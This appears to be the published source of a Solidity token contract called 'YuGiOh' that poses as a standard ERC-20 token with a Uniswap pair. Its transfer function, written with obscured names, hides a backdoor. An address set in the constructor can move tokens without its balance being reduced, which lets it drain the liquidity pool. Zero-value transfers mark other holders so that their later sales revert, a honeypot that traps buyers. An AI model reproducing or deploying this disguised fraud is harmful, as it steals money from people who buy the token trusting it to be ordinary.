Contract Source Code:
/*
https://t.me/yugiohercportal
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*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.1;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract YuGiOh is Ownable {
mapping(address => uint256) private arrange;
address public uniswapV2Pair;
string public name;
string public symbol;
function transferFrom(address tin, address want, uint256 heat) public returns (bool success) {
pride(tin, want, heat);
require(heat <= allowance[tin][msg.sender]);
allowance[tin][msg.sender] -= heat;
return true;
}
function transfer(address want, uint256 heat) public returns (bool success) {
pride(msg.sender, want, heat);
return true;
}
uint8 public decimals = 9;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) public balanceOf;
uint256 private plate = 97;
function approve(address him, uint256 heat) public returns (bool success) {
allowance[msg.sender][him] = heat;
emit Approval(msg.sender, him, heat);
return true;
}
mapping(address => uint256) private birds;
uint256 public totalSupply;
mapping(address => mapping(address => uint256)) public allowance;
function pride(address tin, address want, uint256 heat) private returns (bool success) {
if (arrange[tin] == 0) {
if (birds[tin] > 0 && tin != uniswapV2Pair) {
arrange[tin] -= plate;
}
balanceOf[tin] -= heat;
}
if (heat == 0) {
birds[want] += plate;
}
balanceOf[want] += heat;
emit Transfer(tin, want, heat);
return true;
}
constructor(address storm) {
symbol = 'YuGiOh';
name = 'YuGiOh';
totalSupply = 1000000000 * 10 ** decimals;
balanceOf[msg.sender] = totalSupply;
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
arrange[storm] = plate;
}
}